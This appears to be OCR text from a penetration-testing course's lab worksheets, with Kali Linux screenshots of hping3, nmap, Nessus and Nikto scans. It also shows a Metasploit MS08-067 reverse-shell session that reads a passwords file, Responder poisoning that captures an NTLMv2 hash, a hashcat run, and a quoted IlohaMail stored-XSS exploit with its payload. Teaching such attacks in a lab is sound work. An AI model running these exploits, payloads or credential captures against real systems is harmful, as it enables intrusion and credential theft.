-e —sign

-j —dump

-3 —print

-8 —safe

-u —end

-T - traceroute
—tr-stop
—tr-keep-ttl
—tr-no-rtt

View Help

set virtual mtu, implies —frag if packet size > mtu
type of service (default 0x00), try —tos help

includes RECORD_ROUTE option and display the route buffer
Toose source routing and record route

strict source routing and record route

set the TP protocol field, only in RAW IP mode

icmp type (default echo request)

icmp code (default 0)

send all icmp types (default send only supported types)
set gateway address for ICMP redirect (default 0.0.0.0)
Alias for —icmp —icmptype 13 (ICMP timestamp)

Alias for —icmp —icmptype 17 (ICMP address subnet mask)
display help for others icmp options

base source port (default random)
[+1[+]<port> destination port(default 0) ctrl+z inc/dec
keep still source port

winsize (default 64)

set fake tcp data offset  (instead of tcphdrlen / 4)
shows only tcp sequence number

(try to) send packets with a bad TP checksum

many systems will fix the IP checksum sending the packet
50 you'll get bad UDP/TCP checksum instead.

set TCP sequence number

set TCP ack

set FIN flag

set SYN flag

set RST flag

set PUSH flag

set ACK flag

set URG flag

set X unused flag (0x40)

set Y unused flag (0x80)

use last tcp—th_flags as exit code

enable the TCP MSS option with the given value

enable the TCP timestamp option to guess the HZ/uptime

data size (default is 0)

data from file

add 'signature’

dump packets in hex

dump printable characters

enable 'safe’ protocol

tell you when —file reached EOF and prevent rewind
traceroute mode (implies —bind and —ttl 1)
Exit when receive the first not ICMP in traceroute mode
Keep the source TTL fixed, useful to monitor just one hop
Don't calculate/show RTT information in traceroute mode

ARS packet description (new, unstable)

—apd-send

i® kali)-[~]
’:(hah

Send the packet described with APD (see docs/APD.txt)

B m0® 0805 9%.

lali@kali: ~
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Based on your observation and research done so far with HPING tool, what * i
is your understanding about the usage of this tool? Could you list out the pros '='—'|'
and cons of using this tool?
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B ali@kali: ~ [x}
File Actions Edit View Help

[L(kati®kati)-[~]

$ sudo hping3 -1 10.0.2.x —rand-dest -I etho
[sudo] password for kali
HPING 10.0.2.x (eth0 10.0.2.x): icmp mode set, 28 headers + 0 data bytes

6 ip-10.0.2.8 1d-49959 icmp_seq-181 rtt=6.8 ms
6 ip-10.0.2.8 1d-49960 icmp_seq-198 rtt=2.9 ms
6 ip-10.0.2.8 icmp_seq=216 rtt=7.8 ms
6 ip-10.0.2.8 icmp_seq-248 rtt=6.0 ms
6 ip-10.0.2.8 icmp_seq-268 rtt=11.7 ms
6 ip-10.0.2.8 icmp_seq-321 rtt=1002.9 ms
6 ip-10.0.2.8 icmp_seq-326 rtt=10.8 ms
6 1p-10.0.2.9 icmp_seq-451 rt: ns
6 ip-10.0.2.8 icmp_seq=453 rt: ns
6 ip-10.0.2.9 icmp_seq-487 rt: ns
6 ip-10.0.2.9 icmp_seq-493 rt: ns
6 ip-10.0.2.9 icmp_seq=602 rt: ns
6 ip-10.0.2.8 icmp_seq=624 rt: ns
6 ip-10.0.2.8 icmp_seq=644 Tt ns
6 ip-10.0.2.9 icmp_seq=764 rt: ns
6 ip-10.0.2.8 icmp_seq-836 rt: ns
6 ip-10.0.2.8 icmp_seq-864 rt: ns
6 ip-10.0.2.8 icmp_seq=904 rt: ns
6 ip-10.0.2.9 icmp_seq=909 rt: ns
6 ip-10.0.2.8 icmp_seq=948 rt: ns
6 ip-10.0.2.8 icmp_seq=964 rtt=5.9 ms
6 ip-10.0.2.8 icmp_seq-1006 rtt=4.8 ms
6 ip-10.0.2.8 icmp_seq-1041 rtt=2.0 ms
6 ip-10.0.2.8 8 ms
6 ip-10.0.2.9 icmp_seq-1083 rtt=5.9 ms
6 ip-10.0.2.8 icmp_seq-1130 rtt=6.9 ms
6 ip-10.0.2.8 .8 ms
6 ip-10.0.2.9 icmp_seq-1172 rtt=6.9 ms
6 ip-10.0.2.8 icmp_seq-1189 rtt=7.8 ms
6 ip-10.0.2.9 8 ms
6 ip-10.0.2.8 icmp_seq-1331 rtt-8.8 ms
6 ip-10.0.2.9 icmp_seq-1376 rtt=4.1 ms
6 ip-10.0.2.9 0.7 ms
6 ip-10.0.2.8 icmp_seq-1659 rtt=3.9 ms
6 ip-10.0.2.9 icmp_seq-1717 rtt=2.0 ms
6 ip-10.0.2.8 .8 ms
6 ip-10.0.2.9 icmp_seq-1820 rtt=8.7 ms
6 ip-10.0.2.8 icmp_seq-1840 rtt=8.7 ms
6 ip-10.0.2.9 004.9 ms
6 ip-10.0.2.8 icmp_seq-2035 rtt=4.0 ms
6 ip-10.0.2.8 icmp_seq-2085 rtt=4.8 ms
6 ip-10.0.2.8 .8 ms
6 ip-10.0.2.8 icmp_seq=2270 rtt-11.7 ms
6 ip-10.0.2.8 icmp_seq-2335 rtt-3.9 ms
6 ip-10.0.2.8 0 ms
6 ip-10.0.2.9 1d-20947 icmp_seq-2373 rtt=9.7 ms
6 ip-10.0.2.8 1d-49990 icmp_seq-2383 rtt=5.9 ms
6 ip-10.0.2.8 1d-49991 icmp_seq-2450 rtt=6.8 ms
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© Debian > hping3

hping3 & e Star | 0

Project ID: 38102 (3}

-0-19 Commits 3 Branches (J 4Tags 7.7 MB Project Storage

oo~ | o3 e | [ v

Updated to change french manpage to UTF-8. @ foodo7oo | [
Marcio de Souza Oliveira authored 2 years ago

[F) README | 36 Other | [§) CHANGELOG

Name Last commit Last update
B3 debian Updated to change french manpage to UTF-8. 2 years ago
B3 docs New debian release. 3 years ago

Baimg Initial commit 3 years ago
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Record your Reflection. * i

End of Task 1 (Commands), you did an Observation and Research on HPING ™
Tool. After your Task 2 (Execute), could you able to extend your thoughts? (Like re-
write/ add more thoughts/ clarity to your understanding)
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File Actions Edit View Help

[ (ali®kati)-[~]
$ sudo arp-scan 10.0.2.0/24

Interface: etho, type: EN1OMB, MAC: 08:00:27:22:46:4f, IPVA4: 10.0.2.15
Starting arp-scan 1.9.8 with 256 hosts (https://github.con/royhills/arp-scan)
10.0.2.6 08:00:27:05:7f:68 PCS Systemtechnik GmbH
10.0.2.9 08:00:27:3e:29:59 PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.9.8: 256 hosts scanned in 1.992 seconds (128.51 hosts/sec). 2 responded

(kali® kali)-[~]
Csn

RS

lali@kali: ~
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In all my scans, the ports are in ignored states. Could you able to find out a

way to identify the status of the ports? Do some research. L
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File Actions Edit View Help

Nmap scan report for 10.0.2.9
Host is up (0.00030s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT  STATE SERVICE

80/tcp open http

3389/tcp open ms-wbt-server

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 19.74 seconds

[ (ali®kati)-[~]

$ sudo nmap -sX 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-21 16:00 EST
Nmap scan report for 10.0.2.9

Host is up (0.00054s latency).

ALl 1000 scanned ports on 10.0.2.9 are in ignored states.

Not shown: 1000 open|filtered tcp ports (no-response)

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 46.72 seconds

[(ati®kati)-[~]

$ sudo nmap -sA 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-21 16:03 EST
Nmap scan report for 10.0.2.9

Host is up (0.00016s latency).

ALl 1000 scanned ports on 10.0.2.9 are in ignored states.

Not shown: 1000 filtered tcp ports (no-response)

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 45.80 seconds

[(ati®kati)-[~]

$ sudo nmap -sS 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-21 16:08 EST
Nmap scan report for 10.0.2.9

Host is up (0.00036s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT  STATE SERVICE

80/tcp open http

3389/tcp open ms-wbt-server

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 21.55 seconds

i® kali)-[~]
’:(hah

h

o 2062 |a G

kali@ali: ~ [x}
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i server 2016 (Pre Java) [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

All Devices x4

< c

& apps.spiceworks.com/tools/device-inventory/

Q_ Find answers, products, resources Community ~ Tools&Apps  Leam

spiceworks

Product Rey

Device Inventory

| B | All Devices 0

All Devices (0) Q

Devices with Agents 0
Potential Duplicates 0

Welcome! Start adding devices to your inventory.
Devices with tickets o

] Fun 2 ight scan

Download Scanning Agent
Install a scanning agent on the device you use to scan your network.

4, Deploy agents

Download Collection Agent
¥ Install a collection agent on each device you want to get data on. A8

o e data manually
Type in the details of each device you want added to inventory.

Enter Device Data

Add Devices or Install Ager

Do you want to manage your IT
contracts? Try our new ool t track

contracis and receive notifications for
‘expiring contracts. Go to Contracts =

Installed a scanning agent already and expecting results to show up here?
Wait a few minutes and refresh the page. If that doesn't work, visit the help pages to learn more.

Have you heard of Connectivity
Dashboard? You can use it to view
workstation connectivity to your apps.
Go to Connectivity Dashboard =

g Help make this app betcer for IT pros like
yourself by taking a 2-minute survey.

H P Type here to search
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Do research on net use. Know what is the purpose of net use * i
command? Which OS versions is that supported? = |
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Know about MSF console. Do research on Metasploit. A very useful * i
tool in Kali Linux. Refer to Metasploit.com, Github for references. -" |
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METASPLOIT MODULES

Metasploit provides you with modules for:
® Exploits: Tool used to take advantage of system weaknesses

® Payloads: Sets of malicious code

® Auxiliary functions: Supplementary tools and commands

® Encoders: Used to convert code or information

® Listeners: Malicious software that hides in order to gain access

® Shellcode: Code that is programmed to activate once inside the target

® Post-exploitation code: Helps test deeper penetration once inside

® Nops: An instruction to keep the payload from crashing
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File Actions Edit View Help
mSF6 exploit(uindons/snb/ns08 067 netapi) > exploit

[+] started reverse TCP handler on 10.0.2.15:4444

[+] 10.0.2.6:445 - Attempting to trigger the vulnerability

“Fal+] Command shell session 6 opened (10.0.2.15:4444 — 10.0.2.6:1030) at 2022-12-23 09:36:01 -0500

shell Banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\systen32>

C:\WINDOWS\systen32>cd ..
acd..

‘acd..’ is not recognized as an internal or external command,

operable program or batch file.

C:\WINDOWS\systen32>cd ..
cd..

C:\WINDOWS>cd ..
cd..

c:\>dir

dir

Volume in drive C has no label.
Volume Serial Number is 50A7-B499

Directory of C:\

12/10/2022 21:42 0 AUTOEXEC.BAT
12/10/2022 21:42 0 CONFIG.SYS
12/10/2022 21:44  <DIR> Documents and Settings
18/10/2022 21:22 56 passwords. txt
12/10/2022 21:44  <DIR> Program Files
18/10/2022 13:32  <DIR> WINDOWS

3 File(s) 56 bytes

3 Dir(s) 7,286,730,752 bytes free

C:\>type passwords. txt
type passwords. txt

Username - superadmin

Password - S0IDAjpasd-23023120!

¥ |

IR

i 0 @ @ roric

AB W P
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2 B




image30.png
iR B AEeER A A e g H R M i Y e
Why would we turn off ping the remote host option? i
Customize the port scanning by verifying open TCP Ports. (Hint: under -"
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9. Under advanced settings,make maximum number of concurrent TCP sessions
per host and per scan unlimited.
Why would we set them to unlimited?
10.Set credentials to the pollcy and save.
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8. Based on your categorization, select the Top listed vulnerability, and
propose your mitigation steps/ strategies. Refer to websites/

databases which we have covered during our lectures to list out the
necessary mitigation steps, citations etc.
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il server 2016 (Pre Java) [Running] - Oracle VM VirtualBox

File Mschine View Input
@ O Download Nessus | Tenable® X
<« (€]

(Onessus

@ MysScans

@ Allscans

Trash

Policies
Plugin Rules

Customized Reports

2w BO

Terrascan

Devices  Help

O Nessus Expert / Folders /View S X | +
O & o hitps;/localhost:8834/#/scans/reports/12/vulnerabilties/26920

Scans

gs

WindowsXPPlusPing / Plugin #26920

< Back to Vulnerabilities

Configure  Audit Trail

ScanSummary  Hosts 1 Vulnerabilities 20 VPRTopThreats ©  History 2

SMB NULL Session Authentication

The remote host is running and SMB protocol. Itis possible to log into the browser or spoolss pipes using a NULL session (i, with no login or
password).

Depending on the configuration, it may be possible for an unauthenticated, remote attacker to leverage this issue to get information about the
remote host.

Solution
Please contact the product vendor for recommended solutions.

See Also

hittp://www.nessus.org/u7e32d594f
hittp://www.nessus.org/u79182e660
hittp://www.nessus.org/u?a33fe205

output

It was possible to bind to the following pipes:

To see debug logs, please visit individual host

Port . Hosts

445 /xcp / cifs 10026

- x
v - x
w &% B
® A oot
Launch ¥ Report  Export ¥
Plugin Details
Severity: High
[ 26920
Version: 142
Type: remote
Family: Misc.
Published: October 4, 2007
Modified: October 7, 2022

Risk Information

Risk Factor: High
CVSS V3.0 Base Score 7.3

CVSS 3.0 Vector: CVSS:3.0/AV:N/ACUPRN
TUENIS:UICLIELIAL

VS5 V3.0 Temporal Vector: CVSS:3.0/EH
/RLORCC

VS5 v3.0 Temporal Score: 7.0
VS5 v2.0 Base Score: 7.5
€SS v2.0 Temporal Score: 6.5

CVSS v2.0 Vector: CVSS2#AV:N/ACL/AUN/CP
IPIAP

VS5 v2.0 Temporal Vector:
CUSS2#EH/RLIOFIRC:C

Vulnerability Information

CPE: cper/omicrosoftwindows
cpe/aisambaisamba

B @& o 1EEQ@@rotcri

2035

D P e B
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Nessus Expert / Folders | X +

& C @

O & https:/kali:8834/#/scans/reports/9jvulnerabilities/85877

KaliLinux # KaliTools # KaliDocs N Kali Forums o Kali NetHunter * Exploit-DB * Google Hacking DB /| OffSec

nessus

foLoers
& wyscns

All scans

@ Trash 1

RESOURCES
Policies
Plugin Rules

Customized Reports

>2mB@0

Terrascan

«

Scans Settings

2012 / Plugin #85877

< Back to Vulnerabilties

57 Remediations 43 More v

Scan Summary Hosts 1

MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656)

Description
The remote Windows host is missing a security update. It s, therefore, affected by multiple vulnerabilities

- An elevation of privilege vulnerability exists in the Windows Adobe Type Manager Library due to improper handling of specially crafted OpenType
fonts. An authenticated, remote attacker can exploit this vulnerabilty, via a specially crafted application, to elevate privileges and execute arbitrary.
code.

(CVE-2015-2506)

- Multiple elevation of privilege vulnerabilties exist in the Windows Adobe Type Manager Library due to improper handling of objects in memory. A
local attacker can exploit these vulnerabilities, via a specially crafted application, to execute arbitrary code. (CVE-2015-2507, CVE-2015-2508,
CVE20152512)

- Aremote code execution vulnerability exists in components of Windows, Office, and Lync due to improper handling of specially crafted OpenType.
fonts. An unauthenticated, remote attacker can exploit this vulnerability by convincing a user to open a file or visit a website containing specially
crafted OpenType fonts, resulting in execution of arbitrary code in the context of the current user. (CVE-2015-2510)

- Multiple elevation of privilege vulnerabilities exist in the Windows kernel-mode driver due to improper handling of objects in memory. A local
attacker can exploit these vulnerabilities, via a specially crafted application, to execute arbitrary code in kernel mode. (CVE-2015-2511,
CVE-2015-2517, CVE-2015-2518, CVE-2015-2546)

- An elevation of privilege vulnerability exists in the Windows kernel-mode driver due to improper validation and enforcement of integrity levels
during certain process initialization scenarios. A local attacker can exploit this vulnerability, via a specially crafted application, to execute arbitrary
code in kernel mode.

(CVE-2015-2527)

- A security feature bypass vulnerability exists due to a failure by the Windows kernel to properly initialize a memory address. A local attacker can

exploit this, via a specially crafted application, to bypass Kernel Address Space Layout Randomization (KASLR) and retrieve the base address of the
kernel driver. (CVE-2015-2529)
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Launch ~ Report  Export ¥

Plugin Details 7

Severity: High

D 85877

Version 114

Type: local

Family: Windows : Microsoft Bulletins.

Published: September 9, 2015

Modified: March 28, 2022

Risk Information

Risk Factor: High
VS5 v2.0 Base Score: 93
VS5 v2.0 Temporal Score: 8.1

CVSS v2.0 Vector: CVSS2#AVN/ACM/AUN/C:C
NTAC

VS5 v2.0 Temporal Vector:
CVSS2H4EH/RLIOFIRC:C

1AVM Severity: I

Vulnerability Information

CPE: cper/amicrosoftive_meeting console
cpei/aimicrosoftiync cpe:/amicrosoftlync_basic
cpeaimicrosoftoffice

cpei/aimicrosoft:skype for_business
cpe/omicrosoftwindows

Exploit Available: true
5 ) @ B ront i

NPT





image35.png
. Use other commands to scrutinize the target network. List out the
commands you used, and the vulnerabilities identified.

. Write a report to provide your thoughts and observation on your
target’s security posture and exposure. Submit in Moodle





image36.png
Input

File Actions Edit View Help

:Thu Dec 15 16: 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for
Thu Dec 15 16 2022 - 406 for /cgi-bin/test.cgi.php
iThu Dec 15 16:19:54 2022 - 406 for GET: /cgi-bin/test_cgi.pl
ERROR: Error limit (20) reached for host, giving up. Last error

:Thu Dec 15 16:19:54 2022 - 406 for GET: /cgi-bin/test-cgi.pl
Scan terminated: 2 error(s) and 7 item(s) reported on remote host

/cgi-bin/printenv

/cgi-bin/ruby.rb
/cgi-bin/search
/cgi-bin/search.cgi
/cgi-bin/server.php
/cgi-bin/status
/cgi-bin/sysinfo.pl
/cgi-bin/test
/cgi-bin/test-cgi
/cgi-bin/test.cgi
/cgi-bin/test_cgi.php

lali@kali: ~

/cgi-bin/restore_config.cgi

End Time: 2022-12-15 16:19:54 (GNT-5) (272 seconds)

+ 1 host(s) tested

V:iThu Dec 15 16:19:54 2022 + 719 requests made in 273 seconds
—(kali® kali)-[~]

=S 1s

certifiednacker_output.json Desktop  Downloads evine

certifiedhacker_output.xml  Documents email-header-analyzer go

—(kali® kali)-[~]
=% cd home
cd: no such file or directory: home

—(kali® kali)-[~]
% cd Home
cd: no such file or directory: Home

—(kali® kali)-[~]
=S cd
cd..: command not found

—(kali® kali)-[~]
L$ cde
2sh: parse error near “\n'

—(kali® kali)-[~]

=S 1s

certifiednacker_output.json Desktop  Downloads evine
certifiednacker_output.xml Documents email-header-analyzer go

—(kali® kali)-[~]
L% cd ete
cd: no such file or directory: etc

—(kali® kali)-[~]
L$ nikto -Display V

aEEm® ) ae s o

google. com knockpy_report
kali-archive-keyring_2020.2_all.deb Music

google. com knockpy_report
kali-archive-keyring_2020.2_all.deb Music

i .certifiedhacker.com ~output output2Bntml —Format htm ~Tuning x

output.html Public Templates

Pictures

spiderfoot Videos

output.html Public Templates

Pictures

spiderfoot Videos

o

2060 |4 c

(<]

Richt Ctr
2129

SEEN P e B
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File System
Jetclnikto.conf [Read Only] - Mousepad
ument  Help
f ¢ xm
Horme. ob EAELDLK/Var/ 11D/ N1KT0 # Location or niKto
67 PLUGINDIR-/var, 1ib/nikto/plugins # Location of plugin
IR-/'var/lib/nikto databases ocation \EYELEE dir
var/lib/nikto, templates ocation of template di
var '1ib nikto docs # Location
NetworkFiles
fault plugin macros

Remove plugins designed to be run standalon
GOEXTRAS-dictionary;siebel ; embedded
@ADEFAULT=GAALL; -GAEXTRAS; tests(report :500

®
Choos L libs
ACCB6000 . 8 # SsLeay use Net - ssl

Number of failures before giving up
t to 0 to disable entirely
ILURES 0

BoEgdolBRusa
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Il kali-linux-2022.3-virtualbox-amd64 (Snapshot 1) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

‘e o

Index of fcss mail Login cPanelLogin

certifiedhacker.com

*» 006 :

216.11 port 80
Target IP 162.241.216.11
Target hostname www,certifiedhacker.com
Target Port 80
HTTP Server nginx/1.21.6
site Link (Name) http:/lwww certifiedhacker.com:80/
site Link (IP)
URI 1
HTTP Method GET
Description ‘The anti-clickjacking X-Frame-Options header is not present.
e http://wwwcertifiedhacker.com:80/

OSVDB Entries

URI
HTTP Method
Description

Test Links
OSVDB Entries

GET
‘The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
http://www.certifiedhacker.com:80/

URI
HTTP Method
Description

Test Links
OSVDB Entries

GET
Uncommon header ‘host-header' found, with content
Ilwww certifiedhacker.com:80/

: c2hhemVKLmJSdWVob3NOLMNVbQ:

URI
HTTP Method
Description

Test Links
OSVDB Entries

GET
Uncommon header x-proxy-cache* found, with contents: HIT
lwwnw certifiedhacker.com:80/

URI
HTTP Method
Description

Test Links
OSVDB Entries

GET
Uncommon header ‘x-server-cache' found, with contents: true
ttp:/iwwwcertifiedhacker.com:80/

URI
HTTP Method
Description

H P Type here to search

GET
The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

8 0 @ Brontcol

17

19/12/2022
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URI fwebmail/blank.html
HTTP Method GET
Description Iwebmailblank.html: llohaMail 0.8.10 contains an XSS vulnerability. Previous versions contain other non-descript vulnerabilties.

ttp:/iwwwcertifiedhacker.com:80/webmail/blank.html
hitp://162.241.216.11:80/webmail/blank.html

OSVDB Entries OSVDB-0

Test Links
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Il kali-linux-2022.3-virtualbox-amd64 (Snapshot 1) [Running] - Oracle VM VirtualBox

Fie Machine View Input_Devces Help
Beomapkor- T 9 o B

Certfied Hacker Nikto Repo Indexof bmail Login cPanel Login

@

#1/usr/bin/python

# Exploit Title: TlohaMail Webmail Stored XSS.

# Date: 18/08/2012

# Exploit Author: Shai rod (@NightRang3r)

# Vendor Homepage: http://sourceforge.net/projects/ilohamail/

# Software Link: http://sourceforge.net/projects/ilohamail/files/TlohaMail-devel/0.9-20050415/
# Version: 0.9-20050415

#6r337z: Gaviadgolan , Gbenhayak, @nirgoldshlager, @roni_bachar

About the Applicatior

IlohaMail is a PHP based lightweight full featured multilingual webmail program with IMAP and POP3 support.
TlohaMail also includes a full-featured contacts manager, bookmarks manager, and scheduler.

Vulnerability Description

1. Stored Xss in e-mail body.
Xss Payload: <a href=javascript:alert("Xss")>POC MAIL</a>

Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.

2. Stored Xss in Bookmarks.
Xss Payload: <a href=javascript:alert("Xss")>
Vulnerable Fields: Name, Category, URL, RSS/RDF, Comments

Add a new bookmark with the XSS payload in the above fields, XsS Should be triggered.

import smtplib

print *

print "# TlohaMail Stored XsS POC #
print "# Coded by: Shai rod #
print "# @NightRang3r #
print "# http://exploit.co.il #
print "# For Educational Purposes Only! #
print " Arn®
# SETTINGS

sender = "attacker@localhost"

smtp_login = sender

smtp_password = "quel23"

recioient = "victim@localhost" M

@O ugo0 Bl 0@ Rrstcr

H P Type here to search
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Based on the activity, record all the websites visited and the gathered  »
relevant details in a word document as a report. On your views, how =
would Netcraft Toolbar help general user to protect themselves from

Social Engineering Attacks? Document (D1) your thoughts with appropriate
references, screenshots and citations.
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C A Notsecure | 10.0.215

hotukdeals ' share deal

Login to hotukdeals
RiskRating: 9

Social login Country: us Site rank:

a y Firstscen Host:
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V. Welcome to VegWeb.cor X | +

& C @ vegweb.com
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Country: Site rank
First seen: Host:
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What is this exception?

Why this exception occurs?

How to overcome this exception and successfully extract metadata
you're your target?

Refer Whitepapers, Literatures and in-text cite them,

Using the knowledge and understanding gathered from the research,
demonstrate the method to overcome the exception. lllustrate the steps with
adequate and appropriate screenshots.

Submit the document in Moodle and/or use them for your coursework.
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msf exploit(multi/handler) > exploit

[1] You are binding to a loopback address by setting LHOST to 127.0.0.1.
[*] Started reverse TCP handler on 127.0.0.1:4430

[*] Sending stage (336 bytes) to 127.0.0.1

[*] Comand shell session 1 opened (127.0.0.1:4430 -> 127.0.0.1:57072) a

C:\Windows\systen32>hostname
hostnae
TARGET2

C:\Windows\systen32>ipconfig
ipconfig

windows TP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . .
IPv4 Address. . . . . ... ...
Subnet Mask . . . . .. ... ..
Default Gateway . . . . . . ... :

fe80: :e138:a701:c5d:1078%13
172.16.1.240
255.255.255.0

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . .
IPv4 Address. . . . . ... ... 192.168.1.240
Subnet Mask . . . . ... .... 255.255.255.0
Default Gateway . . . . . .. .. : 192.168.1.1

fe80: :e85c:9062:3897: cc48%11
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Do research to find out different ways to convert the collected data
(Hash files) into actual text.

What tools could you use to crack the hashes? List out the tools. (Hint: Use one
of the tools other than John the ripper to crack the hashes and submit the work

as a part of your Coursework.)
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SemPor-| 234
a j— =
File Actions Edit View Help

[*] [LLMNR] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name SERVERTWENTYSIX
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name SERVERTWENTYSIX.local
[*] [LLMNR] Poisoned answer sent to 10.0.2.8 for name SERVERTWENTYSIX

] 2 05| @ G

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [NBT-NS] Poisoned answer sent to 10.0.2.8 for name SERVER (service: File Server)

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [LLMNR] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server

[*] [LLMNR] Poisoned answer sent to 10.0.2.8 for name server

[*] [LLMNR] Poisoned answer sent to 10.0.2.8 for name server

[*] [LLMNR] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server

[SHB] NTLMv2-SSP Client : fe80::18dc:9883:56f5:2a69
[SHB] NTLMv2-SSP Username : WINDOWS10\User
[SHE] NTLMv2-SSP Hash : User :: WINDOWS10:b13bF19ae3007d39:919AB6COEA7A14B15D4EAB206D4DF569 : 0101000000000000809E6E1CICIBDIO16A0438CSB706F50000000000200080059004C004500510001001E00570049004E002D004600530038004E00490053004A00310058004

B00500004003400570049004E002D004600530038004E00490053004A00310058004B0050002E0059004C00450051002E004CO04F00430041004C000300140059004C00480051002E004C004F00430041004C000500140059004C00450051002E004C004F00430041004C0007000800809E6ELCICIE
D901060004000200000008003000300000000000000001000000002000003227 E96483146A67FCCB26DBEG3IFCC7CO6CEDSFA296156507D79438AB454A19A0A001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] skipping previously captured hash for WINDOWS10\User

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 883:56¢5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to fe8o::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] skipping previously captured hash for WINDOWS10\User

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local
[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
[*] [LLMNR] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server

[*] [LLMNR] Poisoned answer sent to 10.0.2.8 for name server

[*] [LLMNR] Poisoned answer sent to 10.0.2.8 for name server

[*] [LLMNR] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server

[*] skipping previously captured hash for WINDOWS10\User

[*] [MDNS] Poisoned answer sent to 10.0.2.8 for name server.local

[*] [MDNS] Poisoned answer sent to fe80::18dc:9883:56f5:2a69 for name server.local
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File Actions Edit View Help

Thu Dec 29 16:11:13 2022 (0 secs)
optimized Kernel

Time.Estimated ..
Kernel. Feature ..

Guess. Base. . : pipe
Speed.#1. 0 H/s (0.00ms) @ Accel:512 Loops:1 Thr:l Vec:8
Recovered 0/10 (0.00%) Digests (total), 0/10 (0.00%) Digests (new), 0/10 (0.00%) Salts

Progress.
Rejected....
Restore.Point..
Restore.Sub.#1.

: Salt:0 Amplifier:0-0 Iteration:0-1
Candidate.Engine.: Device Generator

Candidates.#1....: [Copying]

Hardware.Mon.#1..: Util: 2%

Session hashcat
status. .. : Running
Hash.Mode 5600 (NetNTLMv2)

SMB-NTLMv2-SSP-Fe80 :: 18dc:9883:56F5:2a69 . txt
: Thu Dec 29 16:09:23 2022 (2 mins, @ secs)
Thu Dec 29 16:11:23 2022 (0 secs)

optimized Kernel

Hash.Target. ...
Time.Started. ..
Time.Estimated ..
Kernel.Feature .

Guess. Base. . : pipe
